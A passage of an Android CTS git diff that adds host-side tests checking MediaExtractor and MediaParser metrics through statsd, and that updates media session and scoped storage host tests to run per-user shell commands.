+ private static final String DEVICE_SIDE_TEST_APK = "CtsMediaExtractorHostTestApp.apk";
+ /** Fully qualified class name for the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_CLASS =
+ "android.media.cts.MediaExtractorDeviceSideTest";
+
+ private static final long CONFIG_ID = "cts_config".hashCode();
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ installApp(DEVICE_SIDE_TEST_APK);
+ removeConfig(); // Clear existing configs.
+ createAndUploadConfig();
+ getAndClearReportList(); // Clear existing reports.
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ removeConfig();
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ }
+
+ // Tests.
+
+ public void testMediaMetricsEntryPointSdk() throws Exception {
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointSdk");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.SDK);
+ }
+
+ public void testMediaMetricsEntryPointNdkNoJvm() throws Exception {
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkNoJvm");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_NO_JVM);
+ }
+
+ public void testMediaMetricsEntryPointNdkWithJvm() throws Exception {
+ runDeviceTests(
+ DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkWithJvm");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_WITH_JVM);
+ }
+
+ // Internal methods.
+
+ /** Removes any existing config with id {@link #CONFIG_ID}. */
+ private void removeConfig() throws Exception {
+ getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+ }
+
+ /** Creates the statsd config and passes it to statsd. */
+ private void createAndUploadConfig() throws Exception {
+ StatsdConfig.Builder configBuilder =
+ StatsdConfigProto.StatsdConfig.newBuilder()
+ .setId(CONFIG_ID)
+ .addAllowedLogSource(DEVICE_SIDE_TEST_PACKAGE)
+ .addWhitelistedAtomIds(
+ AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+ addAtomEvent(configBuilder);
+ uploadConfig(configBuilder.build());
+ }
+
+ /** Writes the given config into a file and passes is to statsd via standard input. */
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ configFile.deleteOnExit();
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/local/tmp/" + configFile.getName();
+ // Make sure a config file with the same name doesn't exist already.
+ getDevice().deleteFile(remotePath);
+ assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+ getDevice()
+ .executeShellCommand(
+ "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+ getDevice().deleteFile(remotePath);
+ }
+
+ /** Adds an event to the config in order to match MediaParser reported atoms. */
+ private static void addAtomEvent(StatsdConfig.Builder config) {
+ String atomName = "Atom" + System.nanoTime();
+ String eventName = "Event" + System.nanoTime();
+ SimpleAtomMatcher.Builder sam =
+ SimpleAtomMatcher.newBuilder()
+ .setAtomId(AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+ config.addAtomMatcher(
+ StatsdConfigProto.AtomMatcher.newBuilder()
+ .setId(atomName.hashCode())
+ .setSimpleAtomMatcher(sam));
+ config.addEventMetric(
+ StatsdConfigProto.EventMetric.newBuilder()
+ .setId(eventName.hashCode())
+ .setWhat(atomName.hashCode()));
+ }
+
+ /**
+ * Returns all MediaParser reported metric events sorted by timestamp.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private Mediametrics.ExtractorData.EntryPoint getMediaExtractorReportedEntryPoint()
+ throws Exception {
+ ConfigMetricsReportList reportList = getAndClearReportList();
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
+ StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+ ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
+ report.getMetricsList()
+ .forEach(
+ statsLogReport ->
+ data.addAll(statsLogReport.getEventMetrics().getDataList()));
+ List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
+ data.stream()
+ .map(element -> element.getAtom().getMediametricsExtractorReported())
+ .collect(Collectors.toList());
+ // During device boot, services may extract media files. We ensure we only pick up metric
+ // events from our device-side test.
+ mediametricsExtractorReported.removeIf(
+ entry -> !DEVICE_SIDE_TEST_PACKAGE.equals(entry.getPackageName()));
+ assertThat(mediametricsExtractorReported).hasSize(1);
+ return mediametricsExtractorReported.get(0).getExtractorData().getEntryPoint();
+ }
+
+ /** Gets a statsd report and removes it from the device. */
+ private ConfigMetricsReportList getAndClearReportList() throws Exception {
+ CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ getDevice()
+ .executeShellCommand(
+ "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+ receiver);
+ return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+ }
+}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index 750e98c..870893c 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -251,14 +251,46 @@
runTest("testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper");
}
+ @AppModeFull
+ @RequiresDevice
+ // Ignored due to b/171012388.
+ public void ignored_testIsTrusted_withEnabledNotificationListener_returnsTrue()
+ throws Exception {
+ if (!canCreateAdditionalUsers(1)) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Cannot create a new user. Skipping multi-user test cases.");
+ return;
+ }
+
+ int newUserId = createAndStartUser();
+ setAllowGetActiveSessionForTest(true, newUserId);
+ installAppAsUser(DEVICE_SIDE_TEST_APK, newUserId, false);
+ runTestAsUser("testIsTrusted_returnsTrue", newUserId);
+ }
+
+ @AppModeFull
+ @RequiresDevice
+ public void testIsTrusted_withoutEnabledNotificationListener_returnsFalse()
+ throws Exception {
+ if (!canCreateAdditionalUsers(1)) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Cannot create a new user. Skipping multi-user test cases.");
+ return;
+ }
+
+ int newUserId = createAndStartUser();
+ setAllowGetActiveSessionForTest(false, newUserId);
+ installAppAsUser(DEVICE_SIDE_TEST_APK, newUserId, false);
+ runTestAsUser("testIsTrusted_returnsFalse", newUserId);
+ }
+
private void runTest(String testMethodName) throws DeviceNotAvailableException {
runTestAsUser(testMethodName, getDevice().getPrimaryUserId());
}
private void runTestAsUser(String testMethodName, int userId)
throws DeviceNotAvailableException {
- runDeviceTestsAsUser(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS,
- testMethodName, userId);
+ runDeviceTests(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS, testMethodName, userId);
}
/**
diff --git a/hostsidetests/mediaparser/Android.bp b/hostsidetests/mediaparser/Android.bp
new file mode 100644
index 0000000..87c9621
--- /dev/null
+++ b/hostsidetests/mediaparser/Android.bp
@@ -0,0 +1,39 @@
+//
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_test_host {
+ name: "CtsMediaParserHostTestCases",
+ defaults: ["cts_defaults"],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ ],
+ static_libs: [
+ "cts-host-utils",
+ ],
+ data: [
+ ":CtsMediaParserTestCasesApp",
+ ]
+}
diff --git a/hostsidetests/mediaparser/AndroidTest.xml b/hostsidetests/mediaparser/AndroidTest.xml
new file mode 100644
index 0000000..7d53939
--- /dev/null
+++ b/hostsidetests/mediaparser/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS media host test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="media" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsMediaParserHostTestCases.jar" />
+ <option name="runtime-hint" value="3m" />
+ </test>
+</configuration>
+
diff --git a/hostsidetests/mediaparser/OWNERS b/hostsidetests/mediaparser/OWNERS
new file mode 100644
index 0000000..51256bf
--- /dev/null
+++ b/hostsidetests/mediaparser/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 817235
+aquilescanta@google.com
+andrewlewis@google.com
+essick@google.com
+marcone@google.com
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
new file mode 100644
index 0000000..7f34459
--- /dev/null
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -0,0 +1,323 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.mediaparser.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.MediametricsMediaParserReported;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Test for checking that the MediaParser CTS tests produce the expected media metrics. */
+// TODO(b/172494357): Re-enable tests once we can check for the mainline train version.
+public class MediaParserHostSideTest extends DeviceTestCase implements IBuildReceiver {
+
+ private static final String MEDIAPARSER_TEST_APK = "CtsMediaParserTestCasesApp.apk";
+ private static final String MEDIAPARSER_TEST_APP_PACKAGE = "android.media.mediaparser.cts";
+ private static final String MEDIAPARSER_TEST_CLASS_NAME =
+ "android.media.mediaparser.cts.MediaParserTest";
+ private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+ private static final long CONFIG_ID = "cts_config".hashCode();
+ private static final String MEDIAPARSER_METRICS_SEPARATOR = "\\|";
+ private static final double MEDIAPARSER_METRICS_DITHER_VALUE = .02f;
+
+ private IBuildInfo mCtsBuildInfo;
+
+ // Resource management.
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuildInfo = buildInfo;
+ }
+
+ @Override
+ public void setUp() throws Exception {
+ File apk = new CompatibilityBuildHelper(mCtsBuildInfo).getTestFile(MEDIAPARSER_TEST_APK);
+ assertThat(getDevice().installPackage(apk, /* reinstall= */ true)).isNull();
+ removeConfig();
+ createAndUploadConfig();
+ getAndClearReportList(); // Clear existing reports.
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ removeConfig();
+ getDevice().uninstallPackage(MEDIAPARSER_TEST_APP_PACKAGE);
+ }
+
+ // Tests.
+
+ public void ignored_testCreationByNameMetrics() throws Exception {
+ runDeviceTest("testCreationByName");
+ String[] expectedParserNames = {
+ "android.media.mediaparser.MatroskaParser",
+ "android.media.mediaparser.FragmentedMp4Parser",
+ "android.media.mediaparser.Mp4Parser",
+ "android.media.mediaparser.Mp3Parser",
+ "android.media.mediaparser.AdtsParser",
+ "android.media.mediaparser.Ac3Parser",
+ "android.media.mediaparser.TsParser",
+ "android.media.mediaparser.FlvParser",
+ "android.media.mediaparser.OggParser",
+ "android.media.mediaparser.PsParser",
+ "android.media.mediaparser.WavParser",
+ "android.media.mediaparser.AmrParser",
+ "android.media.mediaparser.Ac4Parser",
+ "android.media.mediaparser.FlacParser",
+ };
+ // All of the above are created by name.
+ int[] expectedCreatedByName =
+ Arrays.stream(expectedParserNames).mapToInt(unusedArgument -> 1).toArray();
+ runDeviceTest("testCreationByName");
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ String[] observedParserNames =
+ mediaParserReportedEvents.stream()
+ .map(MediametricsMediaParserReported::getParserName)
+ .toArray(String[]::new);
+ int[] observedCreatedByName =
+ mediaParserReportedEvents.stream()
+ .mapToInt(MediametricsMediaParserReported::getCreatedByName)
+ .toArray();
+ assertThat(observedParserNames).isEqualTo(expectedParserNames);
+ assertThat(observedCreatedByName).isEqualTo(expectedCreatedByName);
+ }
+
+ public void ignored_testParserPool() throws Exception {
+ runDeviceTest("testMp4");
+ String[] expectedParserNamesInPool = {
+ "android.media.mediaparser.MatroskaParser",
+ "android.media.mediaparser.FragmentedMp4Parser",
+ "android.media.mediaparser.Mp4Parser",
+ "android.media.mediaparser.Mp3Parser",
+ "android.media.mediaparser.AdtsParser",
+ "android.media.mediaparser.Ac3Parser",
+ "android.media.mediaparser.TsParser",
+ "android.media.mediaparser.FlvParser",
+ "android.media.mediaparser.OggParser",
+ "android.media.mediaparser.PsParser",
+ "android.media.mediaparser.WavParser",
+ "android.media.mediaparser.AmrParser",
+ "android.media.mediaparser.Ac4Parser",
+ "android.media.mediaparser.FlacParser",
+ };
+ String parserPool = getSingleMediaParserReportedEvent().getParserPool();
+ List<String> parserNamesInParserPool =
+ Arrays.asList(parserPool.split(MEDIAPARSER_METRICS_SEPARATOR));
+ // We do not assert the order in the pool in order to allow test robustness against future
+ // mainline changes.
+ assertThat(parserNamesInParserPool).containsExactlyElementsIn(expectedParserNamesInPool);
+ }
+
+ public void ignored_testLastException() throws Exception {
+ runDeviceTest("testOggInvalidHeaderSniff");
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ assertThat(mediaParserReportedEvents).hasSize(2);
+ for (MediametricsMediaParserReported event : mediaParserReportedEvents) {
+ assertThat(event.getLastException())
+ .isEqualTo("android.media.MediaParser$UnrecognizedInputFormatException");
+ }
+ }
+
+ public void ignored_testResourceByteCount() throws Exception {
+ long actualInputSize = 101597;
+ long minimumExpectedResourceByteCount =
+ (long) (actualInputSize * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+ long maximumExpectedResourceByteCount =
+ (long) (actualInputSize * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+ runDeviceTest("testMp4");
+ long reportedByteCount = getSingleMediaParserReportedEvent().getResourceByteCount();
+ assertThat(reportedByteCount).isAtLeast(minimumExpectedResourceByteCount);
+ assertThat(reportedByteCount).isAtMost(maximumExpectedResourceByteCount);
+ }
+
+ public void ignored_testDurationMillis() throws Exception {
+ long actualDurationMillis = 1024;
+ long minimumExpectedResourceByteCount =
+ (long) (actualDurationMillis * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+ long maximumExpectedResourceByteCount =
+ (long) (actualDurationMillis * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+ runDeviceTest("testMp4");
+ long reportedDurationMillis = getSingleMediaParserReportedEvent().getDurationMillis();
+ assertThat(reportedDurationMillis).isAtLeast(minimumExpectedResourceByteCount);
+ assertThat(reportedDurationMillis).isAtMost(maximumExpectedResourceByteCount);
+ }
+
+ public void ignored_testTrackMimeTypes() throws Exception {
+ String[] expectedTrackMimeTypes = new String[] {"video/avc", "audio/mp4a-latm"};
+ runDeviceTest("testMp4");
+ String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackMimeTypes();
+ List<String> actualTrackMimeTypes =
+ Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+ assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedTrackMimeTypes);
+ }
+
+ public void ignored_testTrackCodecs() throws Exception {
+ String[] expectedCodecs = new String[] {"", "mp4a.40.2"};
+ runDeviceTest("testMp4");
+ String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackCodecs();
+ List<String> actualTrackMimeTypes =
+ Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+ assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedCodecs);
+ }
+
+ public void ignored_testAlteredParameters() throws Exception {
+ runDeviceTest("testTsWithH264DtsAudio");
+ assertThat(getSingleMediaParserReportedEvent().getAlteredParameters())
+ .isEqualTo("android.media.mediaparser.ts.enableHdmvDtsAudioStreams");
+ }
+
+ public void ignored_testVideoSize() throws Exception {
+ runDeviceTest("testMp4");
+ MediametricsMediaParserReported reportedEvent = getSingleMediaParserReportedEvent();
+ assertThat(reportedEvent.getVideoWidth()).isEqualTo(1080);
+ assertThat(reportedEvent.getVideoHeight()).isEqualTo(720);
+ }
+
+ // Internal methods.
+
+ /** Creates the statsd config and passes it to statsd. */
+ private void createAndUploadConfig() throws Exception {
+ StatsdConfig.Builder configBuilder =
+ StatsdConfigProto.StatsdConfig.newBuilder()
+ .setId(CONFIG_ID)
+ .addAllowedLogSource(MEDIAPARSER_TEST_APP_PACKAGE)
+ .addWhitelistedAtomIds(
+ AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+ addAtomEvent(configBuilder);
+ uploadConfig(configBuilder.build());
+ }
+
+ /** Removes any existing config with id {@link #CONFIG_ID}. */
+ private void removeConfig() throws Exception {
+ getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+ }
+
+ /** Writes the given config into a file and passes is to statsd via standard input. */
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ configFile.deleteOnExit();
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/local/tmp/" + configFile.getName();
+ // Make sure a config file with the same name doesn't exist already.
+ getDevice().deleteFile(remotePath);
+ assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+ getDevice()
+ .executeShellCommand(
+ "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+ getDevice().deleteFile(remotePath);
+ }
+
+ /**
+ * Asserts that there is only one MediaParser reported metric event, and returns it.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private MediametricsMediaParserReported getSingleMediaParserReportedEvent() throws Exception {
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ assertThat(mediaParserReportedEvents).hasSize(1);
+ return mediaParserReportedEvents.get(0);
+ }
+
+ /**
+ * Returns all MediaParser reported metric events sorted by timestamp.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception {
+ ConfigMetricsReportList reportList = getAndClearReportList();
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
+ StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+ ArrayList<EventMetricData> data = new ArrayList<>();
+ report.getMetricsList()
+ .forEach(
+ statsLogReport ->
+ data.addAll(statsLogReport.getEventMetrics().getDataList()));
+ // We sort the reported events by the elapsed timestamp so as to ensure they are returned
+ // in the same order as they were generated by the CTS tests.
+ return data.stream()
+ .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
+ .map(event -> event.getAtom().getMediametricsMediaparserReported())
+ .collect(Collectors.toList());
+ }
+
+ /** Gets a statsd report and removes it from the device. */
+ private ConfigMetricsReportList getAndClearReportList() throws Exception {
+ CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ getDevice()
+ .executeShellCommand(
+ "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+ receiver);
+ return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+ }
+
+ /** Runs the test with the given name from the MediaParser CTS apk. */
+ private void runDeviceTest(String testMethodName) throws DeviceNotAvailableException {
+ RemoteAndroidTestRunner testRunner =
+ new RemoteAndroidTestRunner(
+ MEDIAPARSER_TEST_APP_PACKAGE, TEST_RUNNER, getDevice().getIDevice());
+ testRunner.setMethodName(MEDIAPARSER_TEST_CLASS_NAME, testMethodName);
+ CollectingTestListener listener = new CollectingTestListener();
+ assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
+ TestRunResult result = listener.getCurrentRunResults();
+ assertThat(result.isRunFailure()).isFalse();
+ assertThat(result.getNumTests()).isEqualTo(1);
+ assertThat(result.hasFailedTests()).isFalse();
+ }
+
+ /** Adds an event to the config in order to match MediaParser reported atoms. */
+ private static void addAtomEvent(StatsdConfig.Builder config) {
+ String atomName = "Atom" + System.nanoTime();
+ String eventName = "Event" + System.nanoTime();
+ SimpleAtomMatcher.Builder sam =
+ SimpleAtomMatcher.newBuilder()
+ .setAtomId(AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+ config.addAtomMatcher(
+ AtomMatcher.newBuilder().setId(atomName.hashCode()).setSimpleAtomMatcher(sam));
+ config.addEventMetric(
+ StatsdConfigProto.EventMetric.newBuilder()
+ .setId(eventName.hashCode())
+ .setWhat(atomName.hashCode()));
+ }
+}
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 43208ac..bbdf653 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <!-- TODO(b/169101565): change to secondary_user when fixed -->
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java
new file mode 100644
index 0000000..983cc66
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+abstract class BaseHostTestCase extends BaseHostJUnit4Test {
+ private int mCurrentUserId = NativeDevice.INVALID_USER_ID;
+
+ protected String executeShellCommand(String cmd, Object... args) throws Exception {
+ return getDevice().executeShellCommand(String.format(cmd, args));
+ }
+
+ protected int getCurrentUserId() throws Exception {
+ setCurrentUserId();
+
+ return mCurrentUserId;
+ }
+
+ private void setCurrentUserId() throws Exception {
+ if (mCurrentUserId != NativeDevice.INVALID_USER_ID) return;
+
+ ITestDevice device = getDevice();
+ mCurrentUserId = device.getCurrentUser();
+ CLog.i("Current user: %d");
+ }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 8729f9b..594fd6a 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -18,12 +18,10 @@
import static com.google.common.truth.Truth.assertThat;
-import static org.junit.Assert.assertTrue;
-
import android.platform.test.annotations.AppModeFull;
+import com.android.tradefed.device.contentprovider.ContentProviderHandler;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import org.junit.After;
import org.junit.Before;
@@ -35,20 +33,19 @@
*/
@RunWith(DeviceJUnit4ClassRunner.class)
@AppModeFull
-public class LegacyStorageHostTest extends BaseHostJUnit4Test {
- private boolean isExternalStorageSetup = false;
+public class LegacyStorageHostTest extends BaseHostTestCase {
- private String executeShellCommand(String cmd) throws Exception {
- return getDevice().executeShellCommand(cmd);
- }
+ private boolean mIsExternalStorageSetup;
+
+ private ContentProviderHandler mContentProviderHandler;
/**
* Runs the given phase of LegacyFileAccessTest by calling into the device.
* Throws an exception if the test phase fails.
*/
void runDeviceTest(String phase) throws Exception {
- assertTrue(runDeviceTests("android.scopedstorage.cts.legacy",
- "android.scopedstorage.cts.legacy.LegacyStorageTest", phase));
+ assertThat(runDeviceTests("android.scopedstorage.cts.legacy",
+ "android.scopedstorage.cts.legacy.LegacyStorageTest", phase)).isTrue();
}
/**
@@ -56,14 +53,18 @@
* so in order to test a case where the reader has only WRITE, we must explicitly revoke READ.
*/
private void grantPermissions(String... perms) throws Exception {
+ int currentUserId = getCurrentUserId();
for (String perm : perms) {
- executeShellCommand("pm grant android.scopedstorage.cts.legacy " + perm);
+ executeShellCommand("pm grant --user %d android.scopedstorage.cts.legacy %s",
+ currentUserId, perm);
}
}
private void revokePermissions(String... perms) throws Exception {
+ int currentUserId = getCurrentUserId();
for (String perm : perms) {
- executeShellCommand("pm revoke android.scopedstorage.cts.legacy " + perm);
+ executeShellCommand("pm revoke --user %d android.scopedstorage.cts.legacy %s",
+ currentUserId, perm);
}
}
@@ -72,19 +73,21 @@
* creating file.
*/
private void createFileAsShell(String filePath) throws Exception {
- executeShellCommand("touch " + filePath);
+ executeShellCommand("touch %s", filePath);
assertThat(getDevice().doesFileExist(filePath)).isTrue();
}
private void setupExternalStorage() throws Exception {
- if (!isExternalStorageSetup) {
+ if (!mIsExternalStorageSetup) {
runDeviceTest("setupExternalStorage");
- isExternalStorageSetup = true;
+ mIsExternalStorageSetup = true;
}
}
@Before
public void setup() throws Exception {
+ mContentProviderHandler = new ContentProviderHandler(getDevice());
+ mContentProviderHandler.setUp();
setupExternalStorage();
// Granting WRITE automatically grants READ as well, so we grant them both explicitly by
// default in order to avoid confusion. Test cases that don't want any of those permissions
@@ -95,6 +98,7 @@
@After
public void tearDown() throws Exception {
+ mContentProviderHandler.tearDown();
revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE",
"android.permission.READ_EXTERNAL_STORAGE");
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
index dbfa9fb..256540a 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
@@ -16,7 +16,7 @@
package android.scopedstorage.cts.host;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
import com.android.tradefed.device.ITestDevice;
@@ -25,16 +25,14 @@
public class PublicVolumeHostTest extends ScopedStorageHostTest {
/** Used to clean up the virtual volume after the test */
